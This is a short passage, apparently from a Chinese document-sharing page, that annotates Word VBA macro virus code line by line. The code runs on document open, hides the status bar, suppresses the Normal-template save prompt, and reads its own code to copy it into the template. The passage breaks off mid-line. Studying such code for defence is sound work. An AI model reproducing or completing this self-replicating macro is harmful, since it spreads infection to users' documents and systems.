Doc宏病毒代码研究.docVIP

Micro-Virus Sub Document_Open()文档打开时运行的程序过程 On Error Resume Next 遇到错误执行下一行 Application.DisplayStatusBar = False 把状态栏设置为不显示 MsgBox DisplayStatusBar = False Options.SaveNormalPrompt = False 将Word 在退出之前是否保存对 Normal 模板更改的提示设置为否 Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100) 设Ourcode等于这个文档的工程代码的1-100行 MsgBox Ourcode get normal Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule 设Host等于Word模板的工程代 if normal, set active; If ThisDocument = NormalTemplate Then 如果这个文档等于Word模板，那么 MsgBox ThisDocument = NormalTemplate Set Host = ActiveDocument.VBProject.VBC